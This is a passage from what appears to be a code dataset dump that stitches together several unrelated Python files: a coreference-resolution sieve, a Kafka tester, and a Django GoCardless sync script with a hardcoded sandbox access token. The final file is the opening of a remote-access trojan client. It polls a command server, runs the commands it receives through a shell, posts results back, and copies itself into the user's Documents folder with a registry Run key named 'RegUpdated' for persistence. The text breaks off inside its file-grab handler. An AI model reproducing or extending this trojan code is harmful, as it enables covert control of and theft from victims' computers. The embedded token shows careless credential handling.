mention_entity, candidate_entity)\n break\n else:\n if self.meta_info:\n if self.check_gold(mention, candidate):\n if not self.check_in_entity(candidate, mention_entity):\n self.logger.debug(\n \"LOST LINK(%s):%s \", self.short_name,\n self.context(\n mention_entity, mention,\n candidate_entity, candidate))\n self.lost_link.append(\n (mention[ID], candidate[ID]))\n else:\n self.no_link.append((mention[ID], candidate[ID],))\n self.logger.debug(\"RESOLVE: End candidate(Not linked).\")\n self.logger.debug(\"RESOLVE: End mention.\")\n output_clusters[mention_entity_idx] = mention_entity\n return output_clusters\n\n def are_coreferent(self, entity, mention, candidate_entity, candidate):\n \"\"\" Determine if the candidate is a valid entity coreferent.\n\n :param candidate: The candidate to be part of the entity.\n :param mention: The selected mention to represent the entity.\n :param candidate_entity: The entity of the candidate mention.\n :param entity: The entity that is going to be evaluated.\n \"\"\"\n self.meta[\"asked\"] += 1\n if mention.get(INVALID) or candidate.get(INVALID):\n return False\n if self.USE_INCOMPATIBLES:\n for c_mention in candidate_entity:\n if c_mention[ID] in mention.get(self.INCOMPATIBLES, ()):\n self.meta[\"filter_incompatible\"] += 1\n self.logger.debug(\n \"LINK FILTERED incompatible mentions inside entities.\")\n return False\n\n if self.SENTENCE_DISTANCE_LIMIT:\n sentence_distance = self.graph_builder.sentence_distance(\n mention, candidate)\n if sentence_distance > self.SENTENCE_DISTANCE_LIMIT \\\n and not (mention.get(PERSON) in (FIRST_PERSON, SECOND_PERSON)):\n self.meta[\"filter_to_far\"] += 1\n self.logger.debug(\n \"LINK FILTERED Candidate to far and not I or You.\")\n return False\n if self.UNRELIABLE and (stopwords.unreliable(mention[FORM].lower())) and \\\n (self.graph_builder.sentence_distance(\n element_a=mention, element_b=candidate) > self.UNRELIABLE):\n self.meta[\"filter_to_far_this\"] += 1\n self.logger.debug(\"LINK FILTERED too far this. Candidate\")\n return False\n\n if self.check_in_entity(mention=candidate, entity=entity):\n self.meta[\"filter_already_linked\"] += 1\n self.logger.debug(\"LINK FILTERED already linked. Candidate\")\n return False\n if candidate.get(GENERIC, False) and candidate.get(PERSON) == SECOND_PERSON:\n self.meta[\"filter_generic_candidate\"] += 1\n self.logger.debug(\"LINK FILTERED Generic Candidate\")\n return False\n\n if self.IS_INSIDE and (self.graph_builder.is_inside(mention[SPAN], candidate[SPAN]) or\n self.graph_builder.is_inside(candidate[SPAN], mention[SPAN])):\n self.meta[\"filtered_inside\"] += 1\n self.logger.debug(\"LINK FILTERED Inside. Candidate\")\n return False\n if self.INCOMPATIBLE_DISCOURSE and \\\n self.incompatible_discourse(\n entity_a=candidate_entity, entity_b=entity):\n self.meta[\"filtered_discourse\"] += 1\n self.logger.debug(\"LINK FILTERED incompatible discourse\")\n return False\n representative_mention = self.entity_representative_mention(entity)\n if self.NO_SUBJECT_OBJECT and \\\n self.subject_object(candidate_entity, entity):\n self.meta[\"filtered_subject_object\"] += 1\n self.logger.debug(\"LINK FILTERED Subject-object\")\n self.invalid(\n entity_a=entity, mention_a=mention,\n entity_b=candidate_entity, mention_b=candidate)\n return False\n if self.I_WITHIN_I and \\\n self.i_within_i(\n mention_a=representative_mention, mention_b=candidate):\n self.meta[\"filtered_i_within_i\"] += 1\n self.logger.debug(\n \"LINK FILTERED I within I construction: %s\", candidate[FORM])\n self.invalid(\n entity_a=entity, mention_a=mention,\n entity_b=candidate_entity, mention_b=candidate)\n return False\n\n if self.NO_PRONOUN_CANDIDATE and self.is_pronoun(candidate):\n self.logger.debug(\"FILTERED LINK mention pronoun\")\n self.meta[\"Filtered_mention_pronoun\"] += 1\n return False\n self.meta[\"First pass\"] += 1\n\n if self.NO_ENUMERATION_CANDIDATE and candidate[MENTION] == ENUMERATION_MENTION:\n self.logger.debug(\"FILTERED LINK candidate enumeration\")\n self.meta[\"Filtered_enumeration\"] += 1\n return False\n if self.NO_APPOSITIVE_CANDIDATE and candidate.get(APPOSITIVE, False):\n self.logger.debug(\"FILTERED LINK candidate appositive\")\n self.meta[\"mention_filtered_enumeration\"] += 1\n return False\n return True\n\n def validate(self, mention, entity):\n \"\"\" Determine if the mention is valid for this sieve.\n\n :param mention: The mention to check.\n :param entity: The entity of the mention.\n \"\"\"\n if self.DISCOURSE_SALIENCE and \\\n not self.discourse_salience(mention=mention):\n return False\n # Filter all no first mentions\n if self.ONLY_FIRST_MENTION and \\\n not self.first_mention(mention=mention, entity=entity):\n self.meta[\"mention_filtered_no_first\"] += 1\n self.logger.debug(\n \"MENTION FILTERED: Not first one: %s\", mention[FORM])\n return False\n # Filter Narrative you\n if self.narrative_you(mention=mention):\n self.meta[\"mention_filtered_narrative_you\"] += 1\n self.logger.debug(\n \"MENTION FILTERED: is a narrative you: %s\", mention[FORM])\n return False\n # filter generics\n if mention.get(GENERIC, False):\n self.meta[\"mention_filtered_generic\"] += 1\n self.logger.debug(\n \"MENTION FILTERED: is generic: %s\", mention[FORM])\n return False\n # Filter stopWords\n if self.NO_STOP_WORDS and stopwords.stop_words(mention[FORM].lower()):\n self.meta[\"mention_filtered_stop_word\"] += 1\n self.logger.debug(\n \"MENTION FILTERED: is a stop word: %s\", mention[FORM])\n return False\n # Filter all pronouns\n if self.NO_PRONOUN_MENTION and self.is_pronoun(mention):\n self.meta[\"mention_filtered_pronoun\"] += 1\n self.logger.debug(\n \"MENTION FILTERED: Is a pronoun: %s\", mention[FORM])\n return False\n if self.NO_ENUMERATION_MENTION and mention[MENTION] == ENUMERATION_MENTION:\n self.logger.debug(\"MENTION FILTERED enumeration form\")\n self.meta[\"mention_filtered_enumeration\"] += 1\n return False\n if self.NO_APPOSITIVE_MENTION and mention.get(APPOSITIVE, False):\n self.logger.debug(\"MENTION FILTERED APPOSITIVE form\")\n self.meta[\"mention_filtered_enumeration\"] += 1\n return False\n return True\n\n def discourse_salience(self, mention):\n \"\"\" Determine if a mention is relevant by its discourse salience.\n\n :param mention: The mention to check discourse salience\n :return: True if is relevant mention\n \"\"\"\n\n # If starts with, or is, a undefined pronouns, Filter it.\n if mention[STARTED_BY_INDEFINITE_PRONOUN]:\n self.logger.debug(\n \"MENTION FILTERED: is undefined: %s\", mention[FORM])\n self.meta[\"mention_filtered_is_undefined\"] += 1\n return False\n # If start with indefinite article and isn't part of an appositive or\n # predicative-nominative constructions filter it.\n if not mention.get(APPOSITIVE, False) and not mention.get(PREDICATIVE_NOMINATIVE, False) and \\\n self.is_undefined(mention=mention):\n self.meta[\"mention_filtered_starts_undefined\"] += 1\n self.logger.debug(\n \"MENTION FILTERED: starts with undefined: %s\", mention[FORM])\n return False\n return True\n\n def first_mention(self, mention, entity):\n \"\"\" Check if the mention is the first no pronoun mention with discourse\n salience of the cluster.\n\n :param mention: The mention to check.\n :param entity: The entity of the mention.\n :return: True or False\n \"\"\"\n for m in entity:\n if self.is_pronoun(m):\n continue\n if not self.discourse_salience(m):\n continue\n if m[ID] == mention[ID]:\n return True\n return False\n return entity[0][ID] == mention[ID]\n\n def get_candidates(self, text_order, candidate_order, mention, index_sent):\n \"\"\" Gets the candidates ordered for the sieve check. This function is\n made for the need of reorder candidates in the sieve X. Also, another\n sieves may benefit form this in the future.\n\n :param text_order: The list of sentences that contain the list of mentions that form the text.\n :param candidate_order: The list of sentences that contain the list of mentions that form the text in bts order.\n :param mention: The mention whose candidates whe need.\n :param index_sent: The index of the current sentence.\n\n @rtype : list\n :return: A list of ordered candidates.\n \"\"\"\n index_mention = [c[ID] for c in candidate_order[index_sent]].index(mention[\"id\"])\n return candidate_order[index_sent][:index_mention] + [m for s in reversed(text_order[:index_sent]) for m in s]\n\n def invalid(self, entity_a, mention_a, entity_b, mention_b):\n \"\"\" Set the two mentions invalid for each other.\n\n :param entity_a: Entity of the mention.\n :param mention_a: One of the mentions.\n :param entity_b: Entity of the other mention.\n :param mention_b: The other mention.\n :return:\n \"\"\"\n if self.gold_check:\n if self.check_gold(mention_a, mention_b):\n self.logger.debug(\n \"WRONG BLACKLISTED: %s\",\n self.context(entity_a, mention_a, entity_b, mention_b))\n else:\n self.logger.debug(\n \"CORRECT BLACKLISTED: %s\",\n self.context(entity_a, mention_a, entity_b, mention_b))\n else:\n self.logger.debug(\"BLACKLISTED\")\n try:\n mention_a[self.INCOMPATIBLES].add(mention_b[ID])\n except KeyError:\n mention_a[self.INCOMPATIBLES] = {mention_b[ID]}\n try:\n mention_b[self.INCOMPATIBLES].add(mention_a[ID])\n except KeyError:\n mention_b[self.INCOMPATIBLES] = {mention_a[ID]}\n\n def _merge(self, entity_a, entity_b):\n \"\"\" Merge two entities into new one.\n\n :param entity_a: a entity to merge\n :param entity_b: a entity to merge\n \"\"\"\n # Add the new mentions to first cluster\n entity = list(sorted(\n entity_a + entity_b, key=lambda x: x[SPAN],))\n incompatibles = set()\n for mention in entity:\n incompatibles.update(mention.get(self.INCOMPATIBLES, set()))\n idx = entity[0][SPAN]\n for mention in entity:\n mention[\"entity\"] = (idx, entity)\n mention[self.INCOMPATIBLES] = incompatibles\n return idx, entity\n\n @staticmethod\n def entity_representative_mention(entity):\n \"\"\" Get the most representative mention of the entity.\n\n :param entity: The entity of which representative mention is fetched.\n \"\"\"\n for mention in entity:\n if mention.get(MENTION) == PROPER_MENTION:\n return mention\n for mention in entity:\n if mention.get(MENTION) == NOMINAL_MENTION:\n return mention\n for mention in entity:\n if mention.get(MENTION) == PRONOUN_MENTION:\n return mention\n return entity[0]\n\n def entity_property(self, entity, property_name):\n \"\"\" Get a combined property of the values of all mentions of the entity\n\n :param property_name: The name of the property to fetch.\n :param entity: The entity of which property is fetched.\n \"\"\"\n combined_property = set(\n (mention.get(property_name, UNKNOWN) for mention in entity))\n if len(combined_property) > 1:\n combined_property = combined_property.difference(\n self.UNKNOWN_VALUES)\n if len(combined_property) == 0:\n combined_property.add(UNKNOWN)\n return combined_property\n\n @staticmethod\n def entity_ne(entity):\n \"\"\" Get a combined NE of the values of all mentions of the entity.\n Other and no NER tags are cleared. If no NE tag is found None is\n returned.\n\n :param entity: The entity of which NE is fetched.\n \"\"\"\n combined_property = set(\n (mention.get(NER, None) for mention in entity))\n combined_property = list(filter(\n lambda x: ner_tags.mention_ner(x), combined_property))\n if len(combined_property) == 0:\n return set()\n return set(combined_property)\n\n def narrative_you(self, mention):\n \"\"\"The mention is second person(YOU) or the narrator(PER0) in an article.\n\n :param mention: The mention to check.\n \"\"\"\n return \\\n mention[self.graph_builder.doc_type] == \\\n self.graph_builder.doc_article and\\\n mention.get(SPEAKER, False) == \"PER0\" and \\\n mention.get(PERSON) == SECOND_PERSON\n\n @staticmethod\n def is_pronoun(mention):\n \"\"\" The mentions is a pronoun mention?\n\n :param mention: The mention to check.\n \"\"\"\n return (mention.get(MENTION) == PRONOUN_MENTION) or pronouns.all(mention[FORM])\n\n @staticmethod\n def is_undefined(mention):\n \"\"\" The mentions is an undefined mention?\n\n :param mention: The mention to check.\n \"\"\"\n return mention[STARTED_BY_INDEFINITE_PRONOUN] or mention[STARTED_BY_INDEFINITE_ARTICLE]\n\n @staticmethod\n def is_location(mention):\n \"\"\" The mentions is a location?\n\n :param mention: The mention to check.\n \"\"\"\n return ner_tags.location(mention.get(NER))\n\n def agree_attributes(self, entity, candidate_entity):\n \"\"\" All attributes are compatible. Its mean the attributes of each are\n a subset one of the another.\n\n :param entity: Entity of the mention\n :param candidate_entity: Entity of the candidate\n :return: True or False\n \"\"\"\n candidate_gender = self.entity_property(candidate_entity, GENDER)\n entity_gender = self.entity_property(entity, GENDER)\n if not (self.UNKNOWN_VALUES.intersection(entity_gender) or\n self.UNKNOWN_VALUES.intersection(candidate_gender)):\n if candidate_gender.difference(entity_gender) \\\n and entity_gender.difference(candidate_gender):\n self.logger.debug(\n \"Gender disagree %s %s\",\n entity_gender, candidate_gender)\n return False\n\n candidate_number = self.entity_property(candidate_entity, NUMBER)\n entity_number = self.entity_property(entity, NUMBER)\n if not(self.UNKNOWN_VALUES.intersection(entity_number) or\n self.UNKNOWN_VALUES.intersection(candidate_number)):\n if candidate_number.difference(entity_number) \\\n and entity_number.difference(candidate_number):\n self.logger.debug(\n \"Number disagree %s %s\",\n entity_number, candidate_number)\n return False\n\n candidate_animacy = self.entity_property(candidate_entity, ANIMACY)\n entity_animacy = self.entity_property(entity, ANIMACY)\n if not(self.UNKNOWN_VALUES.intersection(entity_animacy) or\n self.UNKNOWN_VALUES.intersection(candidate_animacy)):\n if candidate_animacy.difference(entity_animacy) \\\n and entity_animacy.difference(candidate_animacy):\n self.logger.debug(\n \"Animacy disagree %s %s\",\n entity_animacy, candidate_animacy)\n return False\n\n candidate_ner = self.entity_ne(candidate_entity)\n entity_ner = self.entity_ne(entity)\n if not(entity_ner is None or candidate_ner is None):\n if candidate_ner.difference(entity_ner) and \\\n entity_ner.difference(candidate_ner):\n self.logger.debug(\n \"NER disagree %s %s\",\n entity_ner, candidate_ner)\n return False\n return True\n\n def subject_object(self, entity_a, entity_b):\n \"\"\" Check if entities are linked by any subject-object relation.\n\n :param entity_a: An entity to check\n :param entity_b: An entity to check\n :return: True or False\n \"\"\"\n if entity_a[0][\"doc_type\"] != \"article\":\n return False\n for mention_a in entity_a:\n for mention_b in entity_b:\n if self.graph_builder.sentence_distance(\n mention_a, mention_b) > 0:\n continue\n if mention_a.get(\"subject\", False) and \\\n mention_b.get(\"object\", False) and \\\n mention_a[\"subject\"] == mention_b[\"object\"]:\n return True\n if mention_b.get(\"subject\", False) and \\\n mention_a.get(\"object\", False) and \\\n mention_b[\"subject\"] == mention_a[\"object\"]:\n return True\n pass\n return False\n\n def i_within_i(self, mention_a, mention_b):\n \"\"\" Check if the mention and candidate are in a i-within-i\n construction.\n\n :param mention_a: a mention\n :param mention_b: another mention\n \"\"\"\n if not self.graph_builder.same_sentence(mention_a, mention_b):\n return False\n # Aren't appositive\n if mention_a.get(APPOSITIVE, False) and mention_b.get(APPOSITIVE, False):\n return False\n # Aren't Relative pronouns\n if rules.is_relative_pronoun(self.graph_builder, mention_b, mention_a) or \\\n rules.is_relative_pronoun(self.graph_builder, mention_a, mention_b):\n return False\n # One is included in the other\n if self.graph_builder.is_inside(mention_a[SPAN], mention_b[SPAN]) \\\n or self.graph_builder.is_inside(\n mention_b[SPAN], mention_a[SPAN]):\n return True\n return False\n\n def relaxed_form_word(self, mention):\n \"\"\" Return the words of the mention without the words after the head\n word.\n\n :param mention: The mention where the words are extracted.\n :return: a list of words.\n \"\"\"\n mention_words = self.graph_builder.get_words(mention)\n mention_head = self.graph_builder.get_head_word(mention)\n head = False\n for index, word in enumerate(mention_words):\n word_pos = word[POS]\n if word[ID] == mention_head[ID]:\n head = True\n if head and pos_tags.relative_pronoun(word_pos):\n return [word for word in mention_words[:index]]\n # TODO CHANGE TO CLAUSE CONNECTORS\n if head and word[FORM] == \",\":\n return [word for word in mention_words[:index]]\n return [word for word in mention_words]\n\n def relaxed_form(self, mention):\n \"\"\" Return the form of the mention without the words after the head\n word. The form is lowered and all words are space separated.\n\n :param mention: The mention where the words are extracted.\n :return: a string of word forms separated by spaces.\n \"\"\"\n return \" \".join(word[FORM] for word in self.relaxed_form_word(mention=mention)).lower()\n\n def same_speaker(self, mention_a, mention_b):\n \"\"\" Check if mention refer to the same speaker.\n\n :param mention_a: a mention\n :param mention_b: another mention\n :return type: Bool\n \"\"\"\n speaker_a = mention_a.get(SPEAKER, False)\n speaker_b = mention_b.get(SPEAKER, False)\n if not(speaker_a and speaker_b):\n return False\n if speaker_a == speaker_b:\n return True\n # Two speakers are the same string\n if type(speaker_a) == str and\\\n type(speaker_b) == str and \\\n speaker_a == speaker_b:\n return True\n # Speaker A is B head word\n if self._check_speaker(speaker_a, mention_b):\n return True\n # Speaker B is A head word\n if self._check_speaker(speaker_b, mention_a):\n return True\n return False\n\n def _check_speaker(self, speaker, mention):\n \"\"\" Is the mention a form of the speaker.\n :param speaker:\n :param mention:\n :return:\n \"\"\"\n\n # the speaker may be a string or another mention\n if not (type(speaker) is str):\n speaker = speaker[FORM]\n\n mention_head_form = self.graph_builder.get_head_word(mention)[FORM]\n if mention_head_form == speaker:\n return True\n for speaker_token in speaker.split():\n if speaker_token == mention_head_form:\n return True\n return False\n\n def are_speaker_speech(self, speaker, speech):\n \"\"\" Tho mention are in a speaker speech relation?\n\n :param speaker: The mention that is a speaker\n :param speech: The mention that is inside a speech.\n :return: True or False\n \"\"\"\n speech_speaker = speech.get(SPEAKER, False)\n # TODO check this Only heads??\n if type(speech_speaker) is dict:\n speaker_words_ids = [\n word[ID]\n for word in self.graph_builder.get_words(speaker)]\n return speech_speaker[ID] in speaker_words_ids\n else:\n speaker_head_word = rules.get_head_word_form(self.graph_builder, speaker)\\\n .lower()\n for word in speech_speaker.split(\" \"):\n if word.lower() == speaker_head_word:\n return True\n return False\n\n def incompatible_discourse(self, entity_a, entity_b):\n \"\"\" Check if two entities have any incompatible mentions between them.\n\n :param entity_a: A entity\n :param entity_b: Another entity\n :return: Return True if the entities are incompatible.\n \"\"\"\n for mention_a in entity_a:\n doc_type = entity_b[0][self.graph_builder.doc_type]\n mention_a_person = mention_a.get(PERSON)\n for mention_b in entity_b:\n mention_b_person = mention_b.get(PERSON)\n if (self.are_speaker_speech(\n speaker=mention_a, speech=mention_b) or\n self.are_speaker_speech(\n speaker=mention_b, speech=mention_a)\n ) and not (\n mention_a_person == FIRST_PERSON and\n mention_b_person == FIRST_PERSON):\n return True\n if doc_type == self.graph_builder.doc_article:\n continue\n distance = abs(mention_a[UTTERANCE] - mention_b[UTTERANCE])\n if distance == 1 and \\\n not self.same_speaker(mention_a, mention_b):\n if mention_a_person != mention_b_person:\n if mention_b_person == FIRST_PERSON:\n return True\n if mention_b_person == SECOND_PERSON:\n return True\n return False\n\n def check_gold(self, mention, candidate):\n \"\"\" Check if the link is in the gold Standard.\n\n :param mention: The mention which link want to check.\n :param candidate: The candidate of the link.\n :return: True or False depends of the veracity\n \"\"\"\n clusters_m = set(m['gold_entity'] for m in self.graph_builder.get_gold_mention_by_span(mention[SPAN]))\n clusters_c = set(c['gold_entity'] for c in self.graph_builder.get_gold_mention_by_span(candidate[SPAN]))\n return bool(clusters_c and clusters_m and clusters_c.intersection(clusters_m))\n\n def log_mention(self, mention):\n \"\"\" The function that log the mention and all useful info for this sieve\n coreference resolution\n\n :param mention: The mention to show\n \"\"\"\n self.logger.debug(\"MENTION -%s- %s\", mention[FORM], mention[SPAN])\n\n def log_candidate(self, candidate):\n \"\"\" The function that show the candidate of a link and all the relevant\n info for the linking process.\n\n :param candidate:\n \"\"\"\n self.logger.debug(\"CANDIDATE -%s- %s\", candidate[FORM], candidate[SPAN])\n\n def context(self, mention_entity, mention, candidate_entity, candidate):\n \"\"\" Return a Human readable and sieve specific info string of the\n mention, the candidate and the link for logging proposes.\n\n :param mention_entity: The entity of the linked mention.\n :param mention: The mention.\n :param candidate_entity: The candidate entity\n :param candidate: The candidate of the link\n :return A ready to read string.\n \"\"\"\n return \"{0} -{1}- | {2} -{3}-\".format(\n mention[FORM], self.graph_builder.get_root(mention)[FORM],\n candidate[FORM], self.graph_builder.get_root(candidate)[FORM])\n\n @staticmethod\n def check_in_entity(mention, entity):\n \"\"\" Check if the mention is part of the entity.\n\n :param entity: entity where check.\n :param mention: The mention to find.\n :return True or False.\n \"\"\"\n return mention[ID] in [m[ID] for m in entity]\n\n\nclass PronounSieve(Sieve):\n def pronoun_order(self, sentence_candidates, mention):\n \"\"\" Reorder the candidates that are in the same sentence of the mention\n for pronoun sieve coreference resolution.\n\n :param sentence_candidates: The candidates for coreference that appears in the same sentence\n of the main mention.\n :param mention: The main mention whose coreference is been checking.\n :return: The sentence candidates ordered for coreference pronoun resolution.\n \"\"\"\n reordered = []\n reordered_ids = []\n current = mention.get(CONSTITUENT, mention)\n root_id = self.graph_builder.get_root(current)[ID]\n while current[ID] != root_id:\n current = self.graph_builder.get_syntactic_parent(current)\n if constituent_tags.clause(current.get(TAG)):\n for mention_a in sentence_candidates:\n if mention_a[ID] not in reordered_ids and \\\n self.graph_builder.is_inside(mention_a[SPAN], current[SPAN], ) and \\\n mention_a[SPAN][0] < mention[SPAN][1]:\n reordered_ids.append(mention_a[ID])\n reordered.append(mention_a)\n return reordered\n\n def get_candidates(self, text_order, candidate_order, mention, index_sent):\n \"\"\" Gets the candidates ordered in a for the sieve check.\n\n :param text_order: The list of sentences that contain the list of mentions that form the text.\n :param candidate_order: The list of sentences that contain the list of mentions that form the text in bts order.\n :param mention: The mention whose candidates whe need.\n :param index_sent: The index of the current sentence.\n\n @rtype : list\n :return: A list of ordered candidates.\n \"\"\"\n\n mention_index = [c[ID] for c in candidate_order[index_sent]].index(mention[\"id\"])\n if len(candidate_order[index_sent][mention_index][\"entity\"][1]) == 1 and self.is_pronoun(mention):\n self.logger.debug(\"ORDERING: pronoun order\")\n sentence_candidates = self.pronoun_order(candidate_order[index_sent][:mention_index], mention)\n other_candidates = [m for s in reversed(text_order[:index_sent]) for m in s]\n if pronouns.relative(mention[FORM].lower()):\n self.logger.debug(\"ORDERING: Relative pronoun order\")\n sentence_candidates.reverse()\n return sentence_candidates + other_candidates\n else:\n return super(PronounSieve, self).get_candidates(text_order, candidate_order, mention, index_sent)\n pass\n","sub_path":"corefgraph/multisieve/sieves/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":35428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"73021077","text":"#!/usr/bin/python\n# pip install kafka-python\nfrom kafka import KafkaConsumer\nfrom kafka import KafkaProducer\nimport json\nimport argparse\nimport time\n\nDEFAULT_BROKER = '127.0.0.1:9092'\nparser = argparse.ArgumentParser(description='Kafka tester.')\nparser.add_argument('--producer', action='store_true', help='Producer mode')\nparser.add_argument('--consumer', action='store_true', help='Consumer mode')\nparser.add_argument('--topic', action='store', type=str, default=\"topic\", help='Topic')\nparser.add_argument('--group', action='store', type=str, default=\"group\", help='Group for Consumer')\nparser.add_argument('--broker', action='store', type=str, default=DEFAULT_BROKER, help='Group for Consumer')\nparser.add_argument('--message', action='store', type=str, default='Mario', help='Message for Producer')\nparser.add_argument('--iterations', action='store', type=int, default=1, help='Message iterations for Producer')\nparser.add_argument('--frequency', action='store', type=int, default=1, help='Message frequency for Producer')\nargs = parser.parse_args() \n\ndef check_arg(args, params):\n\tfor param in params:\n\t\tif not vars(args)[param]:\n\t\t\tprint(f'Missing {param}')\n\t\t\texit(0)\n\t\t\nif args.consumer:\n\tcheck_arg(args, ['topic', 'group', 'broker'])\n\t\n\tconsumer = KafkaConsumer(args.topic, bootstrap_servers=[args.broker],\n\t\t enable_auto_commit=True,\n\t\t group_id=args.group,\n\t\t auto_offset_reset='latest'\n \t\t)\n\t\n\tc = 0\n\tfor message in consumer:\n\t\tdata = json.loads(message.value)\n\t\tprint (c, data)\n\t\tc += 1\n\nif args.producer:\n\tcheck_arg(args, ['topic', 'broker', 'message', 'iterations', 'frequency'])\n\tproducer = KafkaProducer(bootstrap_servers=[args.broker],\n\t\tvalue_serializer=lambda x: json.dumps(x).encode('utf-8')\n\t)\n\t\n\tdef produce(args, i):\n\t\tproducer.send(args.topic, value='{}: {}'.format(i, args.message))\n\t\tprint('.')\n\t\ttime.sleep(1/args.frequency) #dt\n\n\tif args.iterations > 0:\t\t\n\t\tfor i in range(args.iterations):\n\t\t\tproduce(args, i)\n\t\n\tif args.iterations < 0:\n\t\ti = 0\n\t\twhile True:\n\t\t\tproduce(args, i)\n\t\t\ti += 1\n","sub_path":".docker/python/app/kafka-tester.py","file_name":"kafka-tester.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"23599087","text":"from django.core.management.base import BaseCommand\nfrom example_checkout.models import Customer, BankAccount, Mandate, Payment, Subscription\n\nimport gocardless_pro\n\n# Set locale and GoCardless client connection.\n\nclient = gocardless_pro.Client(\n\taccess_token='sandbox_IyUsW0Qqwu77LMDNaujtZHEiq4TvvuEslzbk0gWF',\n\tenvironment='sandbox'\n)\n\nclass Command(BaseCommand):\n\targs = ''\n\n\tdef get_customers(self):\n\t\tcustomers = client.customers.list(params={\"limit\": \"500\"}).records\n\t\tfor customer in customers:\n\t\t\tcustomer_record = Customer(\n\t\t\t\tid=customer.id,\n\t\t\t\tgiven_name=customer.given_name,\n\t\t\t\tfamily_name=customer.family_name,\n\t\t\t\taddress_line1=customer.address_line1,\n\t\t\t\taddress_line2=customer.address_line2,\n\t\t\t\tcity=customer.city,\n\t\t\t\tpostal_code=customer.postal_code,\n\t\t\t\tcountry_code=customer.country_code\n\t\t\t)\n\t\t\tcustomer_record.save()\n\n\tdef get_customer_bank_accounts(self):\n\t\tcustomer_bank_accounts = client.customer_bank_accounts.list(params={\"limit\": \"500\"}).records\n\t\tfor customer_bank_account in customer_bank_accounts:\n\t\t\tcustomer_bank_account_record = BankAccount(\n\t\t\t\tid=customer_bank_account.id,\n\t\t\t\taccount_number_ending=customer_bank_account.account_number_ending,\n\t\t\t\tbank_name=customer_bank_account.bank_name,\n\t\t\t\taccount_holder_name=customer_bank_account.account_holder_name,\n\t\t\t\tcountry_code=customer_bank_account.country_code,\n\t\t\t\tlinked_customer=Customer.objects.get(pk=customer_bank_account.links.customer)\n\t\t\t\t)\t\n\t\t\tcustomer_bank_account_record.save()\n\n\tdef get_mandates(self):\n\t\tmandates = client.mandates.list(params={\"limit\": \"500\"}).records\n\t\tfor mandate in mandates:\n\t\t\tmandate_record = Mandate(\n\t\t\t\tid=mandate.id,\n\t\t\t\tscheme=mandate.scheme,\n\t\t\t\tstatus=mandate.status,\n\t\t\t\tlinked_bank_account=BankAccount.objects.get(pk=mandate.links.customer_bank_account),\n\t\t\t\t)\t\n\t\t\tmandate_record.save()\n\n\tdef get_payments(self):\n\t\tpayments = client.payments.list(params={\"limit\": \"500\"}).records\n\t\tfor payment in payments:\n\t\t\tpayment_record = Payment(\n\t\t\t\tid=payment.id,\n\t\t\t\tamount=payment.amount,\n\t\t\t\tcharge_date=payment.charge_date,\n\t\t\t\tcurrency=payment.currency,\n\t\t\t\treference=payment.reference,\n\t\t\t\tstatus=payment.status,\n\t\t\t\tlinked_mandate=Mandate.objects.get(pk=payment.links.mandate),\n\t\t\t)\n\t\t\tpayment_record.save()\n\n\tdef get_subscriptions(self):\n\t\tsubscriptions = client.subscriptions.list(params={\"limit\": \"500\"}).records\n\t\tfor subscription in subscriptions:\n\t\t\tsubscription_record = Subscription(\n\t\t\t\tid=subscription.id,\n\t\t\t\tname=subscription.name,\n\t\t\t\tamount=subscription.amount,\n\t\t\t\tcurrency=subscription.currency,\n\t\t\t\tday_of_month=subscription.day_of_month,\n\t\t\t\tend_date=subscription.end_date,\n\t\t\t\tinterval_unit=subscription.interval_unit,\n\t\t\t\tinterval=subscription.interval,\n\t\t\t\tstart_date=subscription.start_date,\n\t\t\t\tstatus=subscription.status,\n\t\t\t\tlinked_mandate=Mandate.objects.get(pk=subscription.links.mandate),\n\t\t\t)\n\t\t\tsubscription_record.save()\n\n\tdef handle(self, *args, **options):\n\t\tself.get_customers()\n\t\tself.get_customer_bank_accounts()\n\t\tself.get_mandates()\n\t\tself.get_payments()\n\t\tself.get_subscriptions()","sub_path":"example_checkout/management/commands/populate_db.py","file_name":"populate_db.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"274899925","text":"\"\"\" This script is for handling commands on the client side\"\"\"\r\nimport subprocess\r\nimport os, time, shutil\r\nimport socket, requests\r\nimport random, tempfile\r\nimport pyCon.config as config\r\nimport pyCon.printer as p\r\nimport winreg as wreg\r\n\r\nfrom PIL import ImageGrab\r\nfrom bs4 import BeautifulSoup\r\n\r\nclass PyConClient:\r\n\r\n def __init__(self,):\r\n self.persistence = False\r\n self.HOST = config.SERVER_ADDRESS\r\n self.userprofile = None\r\n self.connect()\r\n\r\n def post(self,post_data, url=None):\r\n url = self.HOST if not url else url\r\n if type(post_data) is dict and post_data['file']:\r\n res = requests.post(url, files=post_data)\r\n else:\r\n res = requests.post(self.HOST, data=post_data)\r\n return res\r\n\r\n def cmd(self,command):\r\n try:\r\n proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\r\n proc.stderr.close()\r\n proc.stdin.close()\r\n return proc.stdout.read()\r\n except Exception as ex:\r\n requests.post(self.HOST,f'[-] Exception executing command \"{command}\"')\r\n return False\r\n\r\n def persist(self):\r\n if self.persistence is True:\r\n self.post('Persistence Has Been Achieved')\r\n return True\r\n try:\r\n path = os.getcwd().strip('\\n')\r\n _ , self.userprofile = self.cmd(\"set USERPROFILE\").decode().split(\"=\")\r\n destination = self.userprofile + f'\\\\Documents\\\\client.exe'\r\n if not os.path.exists(destination):\r\n shutil.copyfile(path + 'client.exe', destination)\r\n key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", 0,\r\n wreg.KEY_ALL_ACCESS)\r\n wreg.SetValueEx(key,'RegUpdated',0,wreg.REG_SZ,destination)\r\n wreg.CloseKey(key)\r\n self.post(f'[+] Persistence is confirmed')\r\n self.persistence = True\r\n return True\r\n except Exception as ex:\r\n requests.post(self.HOST,f'[!] Error with persistence: {ex}')\r\n self.persistence = False\r\n pass\r\n\r\n def connect(self):\r\n # Begin Forever Loop\r\n self.persist()\r\n while True:\r\n\r\n command = requests.get(self.HOST).text.lower()\r\n\r\n # Terminate the connection\r\n if 'kill' in command:\r\n self.post(\"Connection Has Been Terminated\")\r\n return 1\r\n\r\n # Grab and Send files: <*>\r\n elif 'grab*' in command:\r\n try:\r\n grab, path = 